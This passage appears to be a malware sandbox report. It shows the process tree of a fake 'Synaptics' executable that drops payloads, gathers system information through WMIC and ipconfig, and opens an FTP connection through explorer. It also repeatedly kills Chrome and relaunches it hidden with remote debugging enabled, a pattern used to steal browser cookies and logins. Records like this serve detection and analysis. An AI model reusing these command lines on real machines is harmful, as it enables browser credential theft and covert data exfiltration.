                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1916
                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                  wmic os get caption /Value
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4300
                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                  wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /Value
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:796
                                • C:\Windows\SysWOW64\ipconfig.exe
                                  ipconfig
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  • Gathers network information
                                  PID:4684
                                • C:\Windows\SysWOW64\find.exe
                                  find "IPv4"
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:2896
                                • C:\Windows\SysWOW64\find.exe
                                  find /N ":"
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:2052
                                • C:\Windows\SysWOW64\find.exe
                                  find "[1]"
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:4404
                          • C:\ProgramData\Synaptics\Synaptics.exe
                            "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
                            2⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:928
                            • C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
                              "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
                              3⤵
                              • Downloads MZ/PE file
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of WriteProcessMemory
                              PID:5760
                              • C:\Users\Admin\AppData\Local\Temp\Files\file_c0d2eb6a8b73120b.exe
                                "C:\Users\Admin\AppData\Local\Temp\Files\file_c0d2eb6a8b73120b.exe"
                                4⤵
                                • Executes dropped EXE
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • Suspicious behavior: EnumeratesProcesses
                                PID:5872
                              • C:\Users\Admin\AppData\Local\Temp\Files\mini_04.exe
                                "C:\Users\Admin\AppData\Local\Temp\Files\mini_04.exe"
                                4⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:1480
                              • C:\Users\Admin\AppData\Local\Temp\Files\haeum.exe
                                "C:\Users\Admin\AppData\Local\Temp\Files\haeum.exe"
                                4⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                • Suspicious use of WriteProcessMemory
                                PID:1752
                                • C:\Users\Admin\AppData\Local\Temp\912F.tmp
                                  C:\Users\Admin\AppData\Local\Temp\912F.tmp C:\Users\Admin\AppData\Local\Temp\Files
                                  5⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of WriteProcessMemory
                                  PID:4224
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpfile0.bat""
                                    6⤵
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious use of WriteProcessMemory
                                    PID:3136
                                    • C:\Windows\SysWOW64\explorer.exe
                                      explorer ftp://[email protected]:2121
                                      7⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:4980
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpfile0.bat" "
                                    6⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:4552
                              • C:\Users\Admin\AppData\Local\Temp\Files\vc2005sp1redist_x86.exe
                                "C:\Users\Admin\AppData\Local\Temp\Files\vc2005sp1redist_x86.exe"
                                4⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:380
                              • C:\Users\Admin\AppData\Local\Temp\Files\WxWorkMultiOpen.exe
                                "C:\Users\Admin\AppData\Local\Temp\Files\WxWorkMultiOpen.exe"
                                4⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:5448
                              • C:\Users\Admin\AppData\Local\Temp\Files\main1.exe
                                "C:\Users\Admin\AppData\Local\Temp\Files\main1.exe"
                                4⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:5024
                                • C:\Users\Admin\AppData\Local\Temp\Files\main1.exe
                                  "C:\Users\Admin\AppData\Local\Temp\Files\main1.exe"
                                  5⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Suspicious use of WriteProcessMemory
                                  PID:848
                                  • C:\Windows\SYSTEM32\taskkill.exe
                                    taskkill /F /IM chrome.exe
                                    6⤵
                                    • Kills process with taskkill
                                    PID:4020
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                    6⤵
                                    • Uses browser remote debugging
                                    • Drops file in Windows directory
                                    • Enumerates system info in registry
                                    • Suspicious use of FindShellTrayWindow
                                    • Suspicious use of WriteProcessMemory
                                    PID:3492
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf4,0xf8,0xfc,0xd0,0x100,0x7ff81078c728,0x7ff81078c734,0x7ff81078c740
                                      7⤵
                                        PID:616
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1588,i,7634804602045189798,14717819589417120365,262144 --field-trial-handle=2512,i,14190649857902629843,14654949639760536409,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2504 /prefetch:2
                                        7⤵
                                          PID:3600
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=1444,i,10586702012440909896,3474876712827537641,524288 --field-trial-handle=2512,i,14190649857902629843,14654949639760536409,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2488 /prefetch:11
                                          7⤵
                                          • System Time Discovery
                                          PID:2984
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2004,i,5137651632982938085,9118664186776564640,524288 --field-trial-handle=2512,i,14190649857902629843,14654949639760536409,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2540 /prefetch:13
                                          7⤵
                                            PID:4320
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2884,i,6347795492904817560,9718192091498606684,2097152 --field-trial-handle=2512,i,14190649857902629843,14654949639760536409,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2944 /prefetch:1
                                            7⤵
                                            • Uses browser remote debugging
                                            PID:3900
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2888,i,9999217466500917570,12492308345708568362,2097152 --field-trial-handle=2512,i,14190649857902629843,14654949639760536409,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2948 /prefetch:1
                                            7⤵
                                            • Uses browser remote debugging
                                            PID:5608
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3808,i,14690375728816392421,6321126853694640536,2097152 --field-trial-handle=2512,i,14190649857902629843,14654949639760536409,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3784 /prefetch:9
                                            7⤵
                                            • Uses browser remote debugging
                                            PID:3216
                                        • C:\Windows\SYSTEM32\taskkill.exe
                                          taskkill /F /IM chrome.exe
                                          6⤵
                                          • Kills process with taskkill
                                          PID:4792
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                          6⤵
                                          • Uses browser remote debugging
                                          PID:1192
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff81078c728,0x7ff81078c734,0x7ff81078c740
                                            7⤵
                                              PID:1044
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            taskkill /F /IM chrome.exe
                                            6⤵
                                            • Kills process with taskkill
                                            PID:4080
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                            6⤵
                                            • Uses browser remote debugging
                                            • Drops file in Windows directory
                                            • Enumerates system info in registry
                                            • Suspicious use of FindShellTrayWindow
                                            PID:3760
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff81078c728,0x7ff81078c734,0x7ff81078c740
                                              7⤵
                                                PID:3476
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1636,i,5524459069739132695,15752542670238487306,262144 --field-trial-handle=2408,i,16688375977590110499,9141328089755731247,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2404 /prefetch:2
                                                7⤵
                                                  PID:2228
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1704,i,11951881647778142633,7717818006041418736,524288 --field-trial-handle=2408,i,16688375977590110499,9141328089755731247,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2432 /prefetch:11
                                                  7⤵
                                                  • System Time Discovery
                                                  PID:1732
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1856,i,8782136750481701251,2243669035896592699,524288 --field-trial-handle=2408,i,16688375977590110499,9141328089755731247,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2448 /prefetch:13
                                                  7⤵
                                                    PID:6008
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2908,i,1716230045524867368,1372996475719054839,2097152 --field-trial-handle=2408,i,16688375977590110499,9141328089755731247,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2960 /prefetch:1
                                                    7⤵
                                                    • Uses browser remote debugging
                                                    PID:1532
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2912,i,6928124169727826562,16540036837354106250,2097152 --field-trial-handle=2408,i,16688375977590110499,9141328089755731247,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2964 /prefetch:1
                                                    7⤵
                                                    • Uses browser remote debugging
                                                    PID:1760
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3828,i,17729418097777733634,8588651758551254076,2097152 --field-trial-handle=2408,i,16688375977590110499,9141328089755731247,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3836 /prefetch:9
                                                    7⤵
                                                    • Uses browser remote debugging
                                                    PID:1564
                                                • C:\Windows\SYSTEM32\taskkill.exe
                                                  taskkill /F /IM chrome.exe
                                                  6⤵
                                                  • Kills process with taskkill
                                                  PID:6796
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                  6⤵
                                                  • Uses browser remote debugging
                                                  PID:6872
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff81078c728,0x7ff81078c734,0x7ff81078c740
                                                    7⤵
                                                      PID:6884
                                                  • C:\Windows\SYSTEM32\taskkill.exe
                                                    taskkill /F /IM chrome.exe
                                                    6⤵
                                                    • Kills process with taskkill
                                                    PID:4740
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                    6⤵
                                                    • Uses browser remote debugging
                                                    • Drops file in Windows directory
                                                    • Enumerates system info in registry
                                                    • Suspicious use of FindShellTrayWindow
                                                    PID:6960
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf4,0xf8,0xfc,0xd0,0x100,0x7ff81078c728,0x7ff81078c734,0x7ff81078c740
                                                      7⤵
                                                        PID:3848
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1600,i,2772522396533918823,8484279130640160414,262144 --field-trial-handle=1968,i,3376772049450076404,5269992392833283964,262144 --variations-seed-version --mojo-platform-channel-handle=1964 /prefetch:2
                                                        7⤵
                                                          PID:6592
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1456,i,1213938875061533875,198407441356122113,524288 --field-trial-handle=1968,i,3376772049450076404,5269992392833283964,262144 --variations-seed-version --mojo-platform-channel-handle=2412 /prefetch:11
                                                          7⤵
                                                          • System Time Discovery
                                                          PID:6672
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2120,i,2166805322475242407,13097281050619428981,524288 --field-trial-handle=1968,i,3376772049450076404,5269992392833283964,262144 --variations-seed-version --mojo-platform-channel-handle=2476 /prefetch:13
                                                          7⤵
                                                            PID:6680
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2904,i,13440870210026588388,2250196535381421510,2097152 --field-trial-handle=1968,i,3376772049450076404,5269992392833283964,262144 --variations-seed-version --mojo-platform-channel-handle=2972 /prefetch:1
                                                            7⤵
                                                            • Uses browser remote debugging
                                                            PID:7004
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2912,i,5301454730926363533,6506417445143940724,2097152 --field-trial-handle=1968,i,3376772049450076404,5269992392833283964,262144 --variations-seed-version --mojo-platform-channel-handle=2976 /prefetch:1
                                                            7⤵
                                                            • Uses browser remote debugging
                                                            PID:7012
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3816,i,18124672709378824183,11895654862472020065,2097152 --field-trial-handle=1968,i,3376772049450076404,5269992392833283964,262144 --variations-seed-version --mojo-platform-channel-handle=3836 /prefetch:9
                                                            7⤵
                                                            • Uses browser remote debugging
                                                            PID:6212
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4240,i,802944386162621821,14746622031262904528,2097152 --field-trial-handle=1968,i,3376772049450076404,5269992392833283964,262144 --variations-seed-version --mojo-platform-channel-handle=4232 /prefetch:1
                                                            7⤵
                                                            • Uses browser remote debugging
                                                            PID:6412
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4276,i,1469622163855075933,3639805602546053624,524288 --field-trial-handle=1968,i,3376772049450076404,5269992392833283964,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:14
                                                            7⤵
                                                              PID:6468
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4184,i,11682973448766682697,3914263641143167542,524288 --field-trial-handle=1968,i,3376772049450076404,5269992392833283964,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:14
                                                              7⤵
                                                                PID:5980
                                                            • C:\Windows\SYSTEM32\taskkill.exe
                                                              taskkill /F /IM chrome.exe
                                                              6⤵
                                                              • Kills process with taskkill
                                                              PID:6948
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                              6⤵
                                                              • Uses browser remote debugging
                                                              PID:5564
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff81078c728,0x7ff81078c734,0x7ff81078c740
                                                                7⤵
                                                                  PID:2884
                                                              • C:\Windows\SYSTEM32\taskkill.exe
                                                                taskkill /F /IM chrome.exe
                                                                6⤵
                                                                • Kills process with taskkill
                                                                PID:5384
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                6⤵
                                                                • Uses browser remote debugging
                                                                • Enumerates system info in registry
                                                                • Suspicious use of FindShellTrayWindow
                                                                PID:7276
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff81078c728,0x7ff81078c734,0x7ff81078c740
                                                                  7⤵
                                                                    PID:7288
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1576,i,3724422184763668953,1364317145970258857,262144 --field-trial-handle=2456,i,3184092260198696041,7708768544671047253,262144 --variations-seed-version --mojo-platform-channel-handle=2452 /prefetch:2
                                                                    7⤵
                                                                      PID:7652
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1660,i,11623629192299694421,3303674234587815273,524288 --field-trial-handle=2456,i,3184092260198696041,7708768544671047253,262144 --variations-seed-version --mojo-platform-channel-handle=2480 /prefetch:11
                                                                      7⤵
                                                                      • System Time Discovery
                                                                      PID:7660
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1940,i,2509225444430455362,15878446753085840233,524288 --field-trial-handle=2456,i,3184092260198696041,7708768544671047253,262144 --variations-seed-version --mojo-platform-channel-handle=2508 /prefetch:13
                                                                      7⤵
                                                                        PID:7668
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2888,i,6014295162566175984,9128511247333425543,2097152 --field-trial-handle=2456,i,3184092260198696041,7708768544671047253,262144 --variations-seed-version --mojo-platform-channel-handle=2964 /prefetch:1
                                                                        7⤵
                                                                        • Uses browser remote debugging
                                                                        PID:7700
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
